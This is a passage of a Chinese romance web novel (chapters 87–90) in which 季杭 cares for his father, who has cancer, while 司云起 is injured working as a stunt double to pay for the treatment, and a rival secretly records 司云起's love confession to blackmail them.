司云起看懂了他的意思，对曹书望说：“先跟着成芜走。”
……
那天阳光很好，气温回暖，风迎面吹。
成芜一蹦一跳，时不时回头看一眼季杭。
再往后，跟着另外两个大哥哥。
那会儿他们觉得一切都很好。
也是。
被风掀起的惊澜骇浪，最初也是波面平静。
87.分离（一）
许是人的记忆有限。
后来的很多年里，季杭每每回忆起，只能想起每一个记忆节点——
在那个炎热的夏天，他中暑时见到了司云起、
心脏疯狂跳动，意识到自己喜欢司云起的那一刻、
司云起搬进他家后，他们一起买了很多东西，其中有棵山楂树，总是被司云起搬来搬去、
去了司云起生活了十几年的家，见到了司云起的朋友们，同时也知道了司云起要走的路、
……
每次回忆到这里，季杭总会干预自己的回忆。
因为从这往后，他好像就没能真正的开心过了。
细想应当也是有的。
司云起拿下报考的每所学校专业第一时，他是真的开心。
可还没等他捕捉到这种情绪，顷刻间，汹涌的难过又会蔓延上心头。
他……
还能陪司云起多远呢。
很长的一段时间里，季杭常常被困在这样的情绪里。
他有陪着司云起试镜，全心意地期盼着他能试镜成功，失败的时候，他比谁都觉得可惜。
后来真的拿下角色的那一天，他看着成芜和曹书望围着司云起欢呼，依旧是全心意地为他高兴。
可下一秒，熟悉的难过又涌了过来，他的心闷疼。
成芜和曹书望一人一语，夸完司云起，又疑惑为什么这部大男主电视剧的主角会给丁熙年。
他们絮絮叨叨，司云起耐心地听着。
季杭静静地凝视着司云起的侧脸，忽地意识到，在他和司云起相处的时间里，每一次每一次，司云起都是看向他的。
这样能看司云起侧脸的时刻，当真是少之又少。
……
那天下了一场很大的雨，赶着下雨之前，成芜被成馥接走了。
季杭去送了她们，把外套给了成馥，却始终不知道该说句什么。
再后来，他和司云起一起跑在雨中，突然一时兴起，拐开回家的路，跑到一座桥上。
雨水打湿万物。
季杭被司云起抱紧时，用毫无异样的话说着他们的未来。
他说当司云起真的站在彩带雨下时，第一个拥抱的人，会是别人了。
打在桥面的雨顺流而下，季杭眼尾掉下的眼泪不知去向。
或是流在了司云起衣服上，也可能是淌成水流中的一粟。
哪里都好，只要没被司云起看到就好。
当时季杭只以为还有段时间，他还能再陪司云起走一段路。只以为他提前在心里做过很多次演练，那天真正来临的时候，他就能坦然应对。
可生活并非如想象中的轨迹般行走，它会突然在转折在某一刻，让所有人措手不及。
高考结束的第二天，司云起拿下角色的剧组开机，季杭刚送他到车站，回家后看到季满谦晕倒在房间。
季杭把他送到医院后，才从医生口中得知，季满谦脑袋里长了一个瘤。
医生判断是恶性，位置很不好。在年初季满谦因为头疼去做ct就查出来了。
季满谦只想着迟些再告诉季杭，他总是不知道该如何开口，这一拖，就拖得愈发严重。
医生看着最新的头部ct，告诉季杭，情况很不乐观。
……
在那之后，季杭也不记得他每天都是怎么度过的了。
穿刺后确定是恶性，多方打听后，又结合医生的建议，他们转到了二院。
好在季满谦心态很好，转院后也得到了很好的化疗方案。季杭晚上在病房外守着季满谦，白天出去做零工，凑来凑去，每天能凑个一二百。
只是填补进医药费里时，不过杯水车薪。
在这座城市，季杭除了季满谦，再没有别的亲人。
他承担起所有的责任，面对季满谦时，从没有一刻是丧着脸的。
甚至司云起给他发来的消息，他都能以正常的语气和口吻去回答，以至于九天后，司云起才知道这件事。
还是曹书望告诉他的。
司云起回来是一个深夜。
季杭坐在病房外面，靠着墙睡着了。累了一天的他疲态尽显，眼底一片乌青。
静静地看了季杭半刻，司云起放轻动作，坐在这人身旁，小心将他的头放在自己肩上。
季杭睡得并不踏实，没多久就突然惊醒。
他还没反应过来身边多了个人，抬手拧向眉心时，忽地听到司云起的声音——
“季杭。”
手不受控制地抖了一下，季杭眨了下眼，垂下手后尽力扯出一个笑，说：“我没事。”
司云起看了他几秒，那句“为什么不告诉我”再也问不出口了。
相比于他忧心了一路的季满谦的病情、季杭的状态，那句相似于质问的话确实不值一提。
“你怎么突然回来了，”季杭问。
司云起动了下嘴唇，季杭像是知道他要说什么一般，自顾自说道：“没事，我爸心态很好，很配合治疗，就是时间问题，会好的。”
他只字未提钱上的窘迫，因为司云起和他年纪一样，怎么会有存款，就算接了部电视剧的配角，钱也不是那么快就能打过来的。
他唯独没有提的事情，却轻易被司云起看穿了。
天还未亮，司云起在楼道里打了很多个电话。后来他站在病房门口，远远看了季满谦一眼，对季杭说：“剧组着急，我得走了。”
季杭点头。
司云起离开的时候遇到曹书望过来，得知司云起着急回剧组后，曹书望忿忿道：“我真是看错司云起了，亏我专门告诉他，没想到他回来一趟立马走，怎么着，剧组能有多急，能有多重要啊，演了那个破侍卫后他能飞升是吧。”
“书望，”季杭嗓音很疲惫。
曹书望知道这样说无异于给季杭添堵，他重重呼出一口气，没再说话。
约莫五六个小时后，季杭的手机响了一声。
他正在主治医师的办公室里，没有打开看，再想起来时，是出医院做兼职的路上。
消息还停留在锁屏页面上，看清楚后，季杭愣在原地——
是司云起在微信给他转的账，四万六千块钱。
只有一条转账消息，没有别的话。
季杭打了语音过去，没有被接听。
到了半夜，司云起才回了消息，说这笔钱是片酬，等剧拍完还会有，让季杭好好照顾季满谦，不用担心钱的事情。
在那之后一个月的时间里，司云起好像很忙，语音和视频始终接不了，回的消息也常常是半夜三更。
曹书望得知后还说，司云起的角色不是男主的侍卫吗，哪会有那么多镜头，怎么忙的跟主角一样。
只有开始填报志愿的那天，他们才连了个语音通话。
季杭报考了医学院，司云起的文化课成绩依旧很稳，考了北京的戏剧学院。
那之后的司云起还是很忙，像是有拍不完的戏。直到季杭接到一个陌生的电话。
打来的是剧组的某个助理，按照司云起试镜时填写资料里的紧急联系人打的电话。
季杭终于知道那笔钱是哪里来的了，也终于知道这一个月为什么总是联系不到司云起了。
原来，司云起回来的那晚，打的所有电话里，有一通是打给丁熙年的。
司云起说剧组着急他回去，是因为他
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急于用钱，让出了原本的角色，签了一份新的合同，成为丁熙年的替身。
……
这一个月里，原本属于丁熙年的所有打戏和高危险高难度的动作，全都是司云起完成的。
在最近的一场悬崖戏中，丁熙年和导演团队为了画面呈现更真实，将一个场景拍了数十条，最后一次因为工作人员的失误，司云起吊着威亚撞在悬崖边，伤到了头部，严重脑外伤造成视神经受损。
剧组承担了医药费，还有十万块钱。
司云起眼睛看不见，身边也没有能信任的人，唯独有个剧组的助理还算可靠，他请助理帮忙，把钱从微信上转给季杭。
助理不明白他的用意，因为他的眼睛也不能拖，只能照着他的紧急联系人联系到了季杭。
……
季杭让曹书望照看季满谦一天，通过剧组助理给的地址，找到了司云起。
司云起的眼睛还被白纱布包着，察觉到有人站在自己身前时，甚至不敢想会是季杭。
而季杭静立良久，亦是一句话都没能说完整。
他眼中的司云起，薄唇紧闭着，额头、颈间、手腕、小臂……
没被衣服盖住的皮肤上尽是伤痕和淤青，从医院离开时还是好好的司云起，仅仅过了一个月，新新旧旧的伤疤遍布，竟无一处完好。
季杭压抑着呼吸，缓慢地抬手，很轻地碰了下司云起眼睛上的纱布。
许是有一刻的呼吸没被克制住，司云起忽地动了一下，然后试探地开口：
“季杭？”
一瞬间，泪水决堤。
季杭颤声“嗯”着，整个人控制不住地抖。
司云起抬手碰了碰他，找对方向后，站起身，很轻地抱住了他。
“我没事，”司云起在季杭耳边说，“很小的伤。”
他能感受到季杭在颤抖，也知道季杭在压抑着情绪。
“真的没事，”司云起抱紧了几分，“短暂性的看不到而已，叔叔怎么样了？”
泪水顺着脸颊滑落，滴在司云起后背，隐匿在衣服深处。
季杭尽力平稳声音，说：“他很好，不用担心。”
司云起又问：“那你呢。”
“我也没事，”季杭垂眸，忽地看到司云起后背大片的擦伤。
心又猛地被什么尖锐的东西扎了进去，足足过了两分钟，季杭才能把那股难吁之气压下去，他声音哑得厉害，“司云起，你骗人……你、你疼不疼啊。”
他的语速明明很慢，让人听起来却很急，“你说没事是骗我的…你全身都是伤，眼睛看不到了，还要把钱转给我，司云起，怎么可能没事，你骗人，你疼不疼啊……”
他重复着“你疼不疼”四个字，泪水怎么也止不住，像是从得知季满谦生病时到现在所有的眼泪都流在这一刻般，在司云起的怀抱里，抒发了压抑一个多月的情绪。
等到他安静的瞬间，司云起说：“我如果承认我疼，季杭，你也能承认你不是真的没事么。”
季杭愣了愣，内心怔忪一片。
没事兴许是世界上最大的骗子，它无数次被人们提起用来骗人，可实际上，它常常是谁都骗不过。
其实他们心里都清楚，对方所说的每一次“没事”，都不是真的，这两个字也不是为了逞强。
在他们十七岁的年纪里，羽翼未丰，始终没能抓得住什么。
唯独能做到，因为爱做出的选择和做的事情，不论多么疼，都能坦然的告诉对方，我没事。
潜台词里是，我没事，所以你不要感到压力和心生愧疚。
他们说的每一次“没事”，都是在说：
“我爱你。”
88.分离（二）
往返跑在两个城市中不现实。
季杭去找主治医生详细问了司云起眼睛的情况，回病房时，看到剧组助理带着舒木先走了进去。
他便等在门外，里面谈话的声音传了出来。
舒木又急又气，这次司云起能不被某些因素阻拦拿到角色，她出了不少力。她甚至等司云起进组后才安心去做别的工作。
没想到，再听到司云起的消息，竟成了这个样子。
“云起，你到底是怎么回事，放着好好的角色不演，非要去做什么替身，搞出这一身伤！”
舒木转头问助理：“到底发生了什么？他眼睛怎么样，我去找导演，替身演员那么多，怎么就换成了司云起！”
助理对这里面的事情不大知情，但及时拉住了舒木，摇头说：“舒木老师，新的合约已经签了。”
“那又怎么样，”舒木说，“不也已经悔过一次合约了吗。”
助理犹豫道：“但这次……”
不同于第一次的角色合约，这次签下的替身合约，条款严格，且应司云起的要求，先转给了他四万。
毁约当然可以，能拿出违约金就行。
可是以司云起现在的情况，连眼睛都可以不顾，先要把钱转给另一个人，想必是有着更着急用钱的事情。
“舒老师，谢谢你，”司云起声音很平静，“不用了。”
季杭背靠着墙，身前不断有人行走经过，对他的表情见怪不怪——
在医院掉眼泪的人太多也太正常了，他只是其中一个。人们行色匆匆，奔波着各自的忙事，没人会驻足停留。
这世界那么多人。
唯独司云起。
唯独司云起，会无数次停留在季杭身旁，能听出季杭正常声音下的伪装，亦能在送舒木离开时，听到季杭说话后，问出一句。
“季杭，怎么哭了。”
季杭嗓音很哑，开口喊了声司云起的名字，喉间哽得厉害。
“不就是眼睛有几天看不到么，”司云起说，“你找完医生回来就这个反应，怎么，难道还有我不知道的病？”
话音刚落，他的唇忽地被冰凉的手捂了过来。
“司云起，不要乱说。”
司云起静默，却不是因为季杭的话，而是因为，分明是这么炎热的天气，这人的手，如冰一样的凉。
剧组内暂停拍摄男主的打戏，先集中拍摄近景和别的剧情。
等司云起眼睛好后，再回来继续拍摄。
司云起想要尽量避免季杭和剧组的人见面，以免这人的愧疚之情更浓。
“季杭，”司云起说，“剧组给我放了假，我们回家吧。”
就这样，季杭带着司云起回了家。
只是……以瞒着季满谦为前提。
季满谦问过司云起好几次，次次都被季杭挡了回去。
有好几次，季满谦发给司云起的消息，收到的都是司云起的语音条。
这在以前可是从没发生过的事儿。
赶着傍晚和季杭说几句话的功夫，季满谦点开语音条，说：“云起这孩子，以前打字简单得很，现在开始给我发语音了。”
季杭笑笑，说：“是吗，那也就是给你发了，我和书望的消息他都不怎么回呢。”
“哈哈哈哈，”季满谦笑道，“等这期化疗结束，找个时间和云起开视频。他在剧组待了这么久，肯定瘦了。”
“开视频就满足了啊，看你这想的，我不带你去他剧组找他一趟都说不过去。”
季满谦当真了，问：“真能去剧组找啊？”
季杭收拾着衣物，没抬头，答了句“能”。
又过了会儿，季杭低着头，嗓音滞涩：“能的。到时候……到时候你俩得健健康康平平安安的见面。”
……
离开医院后，季杭一刻不停地回到家。
这些天以来，他奔波往返在医院和家里。白天的兼职都停掉了，陪着司云起跑了很多次医院。
司云起的眼睛会好的，只是并没有很准确的期限。
季杭每每不在司云起身边的时候，都会忍不住想：
对于司云起来说，时间该有多漫长呢。
打开门后，他喊了声司云起，把买的晚餐放到餐桌上，转身看到司云起的房间敞着门，里面却没人。
“吃饭啦，”季杭四处看了看，在自己房间的阳台找到了人。
正要去扶，他忽地听到司云起说：“季杭，山楂树死了。”
季杭脚步一顿。
自高考结束，司云起去剧组时，季杭就把山楂树搬到了自己房间。
他是想好好照顾的。
可变故生得太快，有一段时间，他连家都没回过，终于等到季满谦的治疗方案后，他才有心思回家拿了些换洗衣物。
正值酷暑，山楂树日夜在阳台，缺水太久，具体是什么时候死掉的，季杭也不清楚。
照常发完传单的中午，他本想回家洗澡换身衣服，可头晕得厉害。
没等他躺到床上，打开房间门的那刻他就晕倒在地。
房间向阳，烈日不倦。
阳台边的光影打在房间的地上，切割出一道明暗。
伴着太阳的落山，有一刹，昏黄的光落在季杭身上，又迅速消失不见。
最后一抹光也消失时，季杭转醒，他坐起身，想了几秒。后来抬手抚着疼痛欲裂的头，扯了下嘴角——
原来中暑时身边没有人照顾，竟然是这样难受。
还有…
其实他，真的很想司云起……
扶着桌子站起身，季杭觉得胸口很闷，他缓步朝阳台走去，还没能呼吸到外面的空气，却是一棵残败的枯树先进入视线。
被司云起搬来搬去、在司云起口中绝不让出的山楂树，死了。
应当也是坚持了很久，叶子凋零。
可在最细弱的一截枝丫上，挂着一颗山楂。颓败无比的矮树，唯有这颗山楂还有些许生机。
季杭轻轻点了一下，山楂就掉落在地。
他弯腰捡起来，擦擦表面的灰尘，咬了一口。
舌尖触到麻人的涩，又苦又酸。
季杭想，改天告诉司云起，山楂树结果了，但是很难吃。
没等到改天，他就接到了剧组助理打来的电话。
……
季杭那句“我没有照顾好它”还没说出口，先听到了司云起的话。
“等眼睛好了，我们再去买一棵。”<
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那时候尝到的苦涩忽然又涌上舌尖，季杭想告诉司云起山楂树结的果很难吃。
可下一秒，他又想。
那又怎么样呢。只要是和司云起一起，苦与涩，又怎么样呢。
他很用力地点头，说：“好。”
七月过完，八月的第二天。
季杭和司云起去医院，刚打开门，迎面撞来个蛋糕。
曹书望捧着蛋糕，大声说：“季杭，生日快乐！快来许个愿。”
司云起侧了下脸，“今天生日？”
季杭自己也忘了个干净，他闭着眼睛许下愿望，后垂眸看了蛋糕几秒，说：“书望，谢谢你。”
“谢什么，”曹书望大大咧咧地往家里去，边把蛋糕放下边说：“你们要去医院是吧，那你们先去，不等你们了，我先啃蛋糕了啊。”
季杭笑着和他商量：“能先切出两块再啃么。”
曹书望走过去把门关上，说：“快去医院吧你们，回来晚了可就没了。”
下楼时，司云起说：“季杭，生日快乐。”
“别祝我生日快乐了，”季杭扶着他走出单元门，手机软件下单打车，说：“祝我愿望都能实现吧。”
司云起挑了下眉，眼眸一如既往认真地落在季杭脸上，即便他看不到。
“什么愿望？”
季杭亦是注视着他的眼睛，静默半晌，“愿望说出来不就不灵了么。”
然后他在心里默默补充，虔诚祈求愿望能够实现——
“季满谦身体健康，长命百岁。”
“司云起眼睛快好起来，永远不受伤。”
……
到医院后，医生检查后说，需要暂时把司云起的眼睛包起来，避免强光的刺激。
也说，快好了。
季杭连连道谢。
护士在就诊室给司云起包扎时，季杭说：“我先去取药，要是包好了我没回来，你就坐在这里等等我。”
“嗯。”
季杭去拿药后，有个人探头，朝就诊室里面看了很久。护士离开时，那人跟着走了几步，询问司云起的情况。
没多久季杭就回来了，双手空空。
取药窗口人太多，季杭担心司云起等久，先赶了回来。
等把司云起送回家，他来医院看顾季满谦时，再把药取了。
走到门口，他朝里看了一眼，只有司云起一个人。
“等久了吗，”季杭说，“咱们回家。”
司云起站起身。
眼上多了几层纱布，司云起抬手找季杭的动作更顺理成章。
牵住季杭手的那刻，他没来由地说了句：
“季杭，成年了。”
被他提醒着，季杭又想起来这天是自己的生日。
他看着双眼被裹紧的司云起，忽然想讨个生日礼物。
过了几秒。
司云起察觉自己扣住的那只手施了几分力，随后，眼上的纱布轻轻动了一下，短暂地贴紧他的眼皮。
在他的视线之外……
是季杭轻踮脚尖，缓慢倾身，吻在了他的眼睛上。
一吻落下。
季杭笑了笑，说：“纱布好像有点歪，刚帮你正好了。”
89.分离（三）
季杭转身时，门口有个人影攥紧手机，快步走开了。
他没有察觉，只有雀跃偷偷在心尖跳动着。
对于司云起来说，此刻的季杭，有些久违。
即便他看不到。
可能是因为季杭太藏不住事了。
或许也可以这样说，不是季杭藏不住，而是司云起能感知到季杭的所有情绪。
他能从季杭的呼吸声、嗓音、话的停顿、某个减弱或加重的音节上……
知道季杭的心情。
回去的路上，他没忍住，问：“有什么好事么。”
季杭诧异地看了他一眼，“好事？”
“你心情好像不错，”司云起说。
“嗯……”季杭想了几秒，短暂忘记了身上的所有重担，眼睛稍弯，拉着司云起停下后，很认真地说：“讨到了生日礼物，我很喜欢。”
这人一直在自己身边，只有去取药的时候分开了会儿。
就这么点的时间，从哪儿讨来的生日礼物？
突然有种危机感，司云起嘴角绷直，眼睛也在纱布里睁开了，是一脸的不爽。
但落在季杭眼中，他还以为司云起是嫌他们停下来，连忙继续走。
边走，司云起边说：“季杭，成年了。”
司云起怎么一直重复自己成年了的事情？
季杭“嗯”了几声。
司云起便说：“我也是。”
“你生日过了吗？”认识这么久了，季杭从来没有想过要去记司云起的生日，乍然听到，他有点不好意思，说：“真的吗，你生日是几月几号啊。”
司云起没回答，反倒是说了句让人摸不着头脑的话。
“都成年了。”
季杭看了他一眼，很快又专心看路，轻声提醒着台阶。
可是……
司云起怎么好像是对成年有执念似的？
到家后，桌上摆着完整的蛋糕，旁边还有曹书望留下的一张字条：
季杭，生日快乐，希望你的十八岁，可以轻松一点，不要再这么辛苦了。
季杭垂眸良久，小心地把纸条收好，切了块蛋糕递到司云起手里。
他转身把纸条放回房间，妥帖地夹在本子里，回到客厅时见到司云起把蛋糕放回了桌上，看起来一口没动的样子。
司云起摸索着站定在客厅最中央，身旁没有杂物。
他站姿挺拔，双手垂在身侧，喊了声季杭的名字。
听到回声后，他调整角度，面朝季杭。
眼睛被遮住，季杭便不能看到他的目光。
可是真心向来不需要用眼睛佐证。
心动隔着胸腔为季杭跳动。它会在见到季杭的时刻、听到季杭声音的时刻、见不到季杭也听不到季杭声音的所有时间里，跳跃出无数次的——
季杭，我喜欢你。
此刻的司云起也轻声开口：“季杭——”
桌上的手机突然响了起来，季杭看清是季满谦的主治医生，连忙接听。
医生说季满谦对刚换的药过敏，需要重新制定这期的治疗方案，也需要换药。
换的药，费用会更高。
季杭拿着手机回到房间，毫不犹豫地说，换药，多贵也换。
医生挂断电话后，季杭倚靠着墙，数次重复着自己的生日愿望。
他觉得自己平静下来后，准备去医院。
他先给曹书望发了条消息，让曹书望过来陪着司云起，他要去医院。
可当他打字的刹那，才注意到，自己的指尖抖得厉害。
原来成年只是个形容词，说起来是长大了，他却还是那个面临变故会不知所措的胆小鬼。
深呼吸几次后，季杭走出房间。
司云起问：“医生打电话来，有什么事吗？”
“没事，就是说该交费了，”季杭说，“我去医院一趟，书望马上过来，他没有咱家钥匙，叫我留个门给他，你等他给你买中午饭，门我就虚掩了。”
他快步离开家，到医院后，先去找了主治医生。
这件事还没和季满谦讲，季杭恳求医生，不要让季满谦知道。
医生和他说换的药是进口药，费用很高，季杭默默听着。
费用已经到了他不能承受的地步，季杭点着头，说他会尽快去交费。
然后他隔着病房的门，用口型告诉季满谦，一切都很好，医生说他恢复很好，司云起的眼睛也快好了。
季满谦朝他笑着，比了个“OK”。
坐在医院楼道里，季杭给曹书望发消息，说他这段时间能不能帮忙在家照看着司云起一些。
早晚瞒不住曹书望，季杭犹豫了会儿，还是都说了。
他说他需要去做兼职，季满谦这里还好说些，起码有医生护士在。
但司云起看不到，一个人在家里，他实在放心不下。
曹书望很快回复道：“好，放心交给兄弟。”
没过多久，季杭支付宝收到了曹书望的转账。
五万。
曹书望发消息，说这钱是他父母拿的，说他们两个如同亲兄弟，不要在意这些，季满谦的病要紧。
除了谢谢二字，季杭实在不知道他还能说些什么了。
聊天框中他一遍遍打着“谢谢”，直到占满屏幕，他又删掉，最后只发出去了两个字。
那天他很晚才回家，揽了兼职群里的很多活儿。
半夜回家的路上，他看了眼手机，有两个来自舒木的未接。
但已经凌晨三点，打电话过去被接听的几率也不大。季杭给舒木发了消息，问她有什么事情。
到家后，曹书望在沙发上睡得很熟，宽大的衣服撩起，露出肚皮。
季杭去给他拿薄毯，打开门却看到司云起坐在自己房间里。
听到响动，司云起侧了下脸，说：“曹书望说你今晚睡在医院。”
季杭站着，说：“是。”
肯定是发生了什么事，但司云起没敢细想。
“季杭，”司云起声音放得很轻，细听似有几分无奈，“我眼睛看不到，不能陪你面对所有事情。但有什么事，能也和我说么。”
沉默半晌，季杭慢慢走向司云起，温声说：“今天去交费钱不够，但已经借到了，没别的事。”
不等司云起说什么，季杭又说：“跑了一天有点累，快睡觉吧。”
他是真的很累，生物钟却没有放过他，天刚显亮他就醒了。
拿手机看时间，屏幕上显出舒木的消息。
季杭坐起身，揉了揉眼睛，点开。
舒木说导演曲伯之正在选演员，想让司云起去试，但给司云起打电话被回拒了。
要是别的导演，舒木也不强求。但曲伯之是华语知名电影导演，票房已经过百亿，就算被刷下来，能录个面交个简历也不亏。
司云起眼睛还没有好，况且他本人都拒了，自然不会愿意去。
季杭便擅自做主，找舒木要了司云起的简历。
稍加润色后，他看着照片框，从自己的相册里又找出两张不同角度下的司云起，加了上去。
点保存之前，他拿起手机，慢慢走进司云起的房间。
果然，司云起已经醒了。
这时的司云起不知道在想什么，和昨天中午站在客厅里时一样，站得笔直，看起来……还有点紧张。
季杭说了句早，第一缕晨光映在司云起身上，他拍下一张照片，“我忙一会儿，”他说。
回到房间，他迅速把刚拍下的照片也放进了简历里。
舒木说曲伯之现在在北京，中午就要飞上海了，季杭带司云起去的话要尽快。
季杭没带司云起，一个人买了票。
他没和司云起说自己出来的事情，上车后给曹书望发了消息，让他帮忙把房间里的换洗衣物带到医院去。
曹书望醒来后找到衣服，去往医院送时意识到自己没钥匙。
司云起房间的门闭着，也不知道是醒了还是没醒。
不过这楼上楼下都是这么多年的邻居，不会有事，而且季杭每次给自己留门都是虚掩。所以他也没有锁门，虚掩带了门后离开了。
关门的响声一点也没有听到，司云起以为季杭没有出门。
他摸索着坐回床上，默念着等下季杭打开门自己要说的话。
“季杭，我喜欢你。”
大抵是太紧张了，以至于他没有听出来，大门被人拽开，以及他的房间门被拧动。
是有人来，但来人不是季杭。
是丁熙年。
丁熙年找人看了司云起的病例档案，找到了季杭家。
他来这一趟，想看看司云起眼睛瞎了后落魄的模样，也是要告诉司云起，许凡君要和他爸丁宇辉结婚的事情。
最后，他手机里还有张刚拍的照片，虽然看起来是季杭单方面的，但也能威胁到司云起。
房间门推开，直面一张书桌。
丁熙年随意翻动了几下上面的书，正要开口。
却听到司云起说：“季杭。”
司云起随着站了起来，看起来很紧张的样子，说：“季杭，我、”
意识到司云起把自己当成季杭了，丁熙年没打算纠正他。
因为他印象中的司云起始终是淡漠的，仿佛万事不过心，这样紧张的模样，还是头一次见。
联想起自己昨天拍下的照片，丁熙年意识到了什么，连忙拿出手机。
录音没来得及找到，他点开相机视频，及时捕捉到司云起接下来的话——
“季杭，我喜欢你。”
丁熙年一惊。
书桌上的台灯被他的胳膊撞倒，直直地砸向地面，滚了很多圈。
丁熙年有一瞬间想打断司云起，但很快，他还是继续录，看能不能录到更多的话，以后威胁司云起的把柄就更大。
他沉默着，手机对准司云起。
屏幕里的司云起沉默了很久，“季杭，不喜欢我也没关系，没关系的。”
再后来，司云起尝试走向声源。
因为他好像……吓到季杭了。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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走了两步后，以往不放心他走路、就连从客厅到房间都要搀扶着他的季杭，没有过来。
他想听到季杭的声音，就算是拒绝也没有关系，只要这人说句话就好。
他的声音透着哑，做着最后的挣扎：“拒绝我并不是一件值得你为难的事情，不喜欢我真的没关系……”
可他还是什么都没有听到。
当他往前走，试图抓住季杭的手，确认他的存在时，被什么东西绊住，踉跄几步后扶住桌角。
季杭应该就在这里的。
他抬起手，“季……”
椅子突然被大力拽开，声音漫长而刺耳。
紧接着什么东西被撞倒了，垃圾桶好像也被踢翻了，门被拽开，又重重合上，错乱的脚步响在其中，越来越远……
这些声音经久未息，司云起静站原地，迟来的疼遍布四肢百骸。
他没因为表白失败疼，他只是后悔。
不该这样贸然的。
他吓到季杭了。
……
后来他摸索着把东西扶起来，想该如何面对季杭。
这时的季杭已经到了北京，路上堵车，在出租上耽误了很长时间，最后车直接堵进了最严重的路段。季杭等不及，提前下了车。
他跑着穿梭在停下的车流中，下桥后扫了辆车。
烈日蒸烤，他出了一身汗，终于把曲伯之堵在了酒店门口。
他交上司云起的简历，喘气声很重，“曲导您好，这是……”
“这是你？”曲伯之问。
季杭摇头，“这是我朋友。”
“他怎么不自己来。”
“他眼睛受伤了，正在恢复期，”季杭也不知道该说些什么，只能弯腰，鞠躬说：“请您看看他的简历，他不会让您失望的。”
助理说：“曲导，车到了，咱们走吧。”
曲伯之饶有兴致地看了季杭两眼，目光落在简历上，将个人情况一扫而过，唯独在司云起那张被纱布缠住眼睛的照片上多停留了几秒。
没说什么，也不需要过多停留，曲伯之拍了拍手中的简历，算是给他奔波的这一身汗点面子，把简历给了助理，直接离开了。
季杭终于松了口气。
他买了回程的车票，到候车室坐着等车。
候车室人满为患，他把座位让给一个老人，站到了窗边。
下车后已经是下午四点。
季杭先去了医院，然后去打工。
路上一直在看兼职群里的消息，迎面走过来个人也没注意到。
撞到人后，季杭后退了步，正要说不好意思，抬眼一看，脸色瞬间冷淡。
丁熙年笑着问：“怎么一见我就这个表情？”
季杭不屑理他，绕开他继续往前。
“你昨天偷亲了司云起，”丁熙年说，“我看到了。”
季杭脚步顿住。
讲真的，他不惊讶。
早就见过丁熙年这个人多么下三滥，所以他说出什么，季杭都不惊讶。
“那又怎么样，”季杭冷漠地扫了他一眼，“你也说了，是我偷亲的，他看都没看到，和他有什么关系。”
丁熙年笑道：“确实，那这个呢。”
丁熙年点了几下手机，声音突然传出——
“季杭，我喜欢你。”
季杭猛地僵住，不可置信地盯着他的手机，眼眶瞬间就红了。
丁熙年举着手机，其中的声音还在继续，沙沙的电流声后，是司云起说“季杭，不喜欢我也没关系，没关系的”……
季杭嘴唇颤抖着，那段视频在丁熙年手里一遍一遍地放，他一遍一遍地听。
“你亲他确实没什么，但他亲口承认喜欢你呢？”丁熙年说，“他还想做演员，要是我把这个爆出去，哈哈哈哈，他是不是能提前火一把啊？就是这火的没什么意义，你猜哪个导演不排风险，哪个导演还敢用他？”
季杭没再说一个字。
过往在脑海中一帧帧闪过，拼凑成司云起的一句话。
他听到了司云起说的喜欢。
那明明是他悄悄期待着的被爱，现在听到了，他怎么会这样矛盾。
怎么会既开心又难过。
季杭旁若无人地掉着眼泪，心闷疼到无以复加。
很久，很久。
天色转暗，路上的行人换了好几波，他还在流泪。
无数个瞬间，他想回家抱住司云起，诉说自己的喜欢和这段时间以来因为喜欢的所有心酸。
他想让司云起托起他过往的别扭敏感，想大声说他真的很喜欢司云起。
又是无数个瞬间。
他无数次被现实钉在原地，只能徒劳，在心里幻想着本该属于他们的圆满。
巧的是，这晚的月亮最是圆。
他偏头看过去时，轻声呢喃：
“司云起，我喜欢你。”
可是因为你喜欢我，至此每一天，我都要带着遗憾度日了。
司云起，那便遗憾一日，我爱你一日。
90.分离
盛夏的夜晚散不去湿黏的热，路上的人快步走着，偶有几位老人，搬着摇椅或板凳聚在商店门外，闲聊着晃过一个又一个的人影。
有个人影，却怎么也没晃走。
直至十点多，围坐的老人一个不剩。
商店老板关门时，映着门口的灯朝远处又看了眼。
小孙女缠了过去，闹着要回家。帮着往店里搬东西的时候，也随着看了过去。
不远处的篮球场人已经散完了，有个背影坐在围栏网那，一直坐着。
街道的光打在他背后，平白多了和这个温度相违和的寂寥。
小孙女嗓音脆生生的，毫无顾忌地说：“那有一个奇怪的哥哥！”
老板连忙拽过她，让她待在店里，收拾好后锁上门带着她回家。
小孙女不理解，被牵着手往家走时还问：“那个奇怪的哥哥为什么一直坐在那？他没有家吗？”
老板摇头，说：“可能再晚点就回家了吧。”
她们又路过一个眼睛被纱布罩起来的男生，刚摸索着下楼走出单元门。
小孙女不时回头张望，又问：“怎么又有一个奇怪的哥哥，眼睛看不到还自己出门呢？”
老板也不理解，她弯下腰说：“你小声一点。”
她们消失在转角，路上行人所剩无几，零星走过，无暇分散精力四处看。
也就没看到，空旷的篮球场内，有个男生背靠围栏，落寞寂寥。再往前走了几分钟，有个老小区门口，站着个眼睛上裹着纱布的人。
月明星稀，静寂后再起喧嚣，那两个奇怪的人，都还在原地。
……
那算得上是后来的十年里，属于他们的，最平静的一晚了。
季杭伏在膝盖上，做了一个梦。
梦里的季满谦没有生病，身体硬朗。司云起也成为了大明星，去拍戏的时候隔了四五个月没见。等回来后，自己和司云起上街买菜，边走路边给季满谦发语音，点了好几道菜。说完后手机放进口袋，空出的手垂在身侧，被温热的掌心包裹。
他慌乱地要抽回手，转头看向行人，却发现无一人注视向这边。
司云起更紧地与他十指相扣，说：“躲什么？”
季杭小声说：“你快松开我，被人看到了怎么办。”
闻言，司云起轻笑，拉着他继续往前走，“没有人管我们。”
季杭诧异地看着他，又看着四周的所有人，发现确实没有人看自己和司云起。
他悄悄放下心，看着司云起挑菜、结账，出市场时看到有个花摊，司云起问有没有山楂树，摊主说现在没，司云起便转头看向他，询问他的意见，“预定一棵吧，咱们一起养？”
他欢喜点头，看到司云起直接付了钱，对摊主说，明天来取山楂树。
回去的路上，司云起始终没有放开他的手。
他有点紧张，问司云起：“我们是在一起了吗？”
司云起停下步子，看向他，思量了几秒后，说：“是我太久没回来，所以要重新追一遍吗？”
“不用追，”季杭垂眸，不大好意思，“我就是有点记不清，也不知道怎么回事。那……是你和我表白的吗？”
司云起点头，说：“是。”
季杭抬眼，看着司云起的眼睛，“你表白我就答应啦？”
他目光里的司云起忽地沉默。
突然有一种寒意笼罩着他，让他说不出的害怕，他晃了晃司云起的手，催促道：“你说话呀。”
在他不住的催促中，司云起终于开口，只问：“你不记得了吗？”
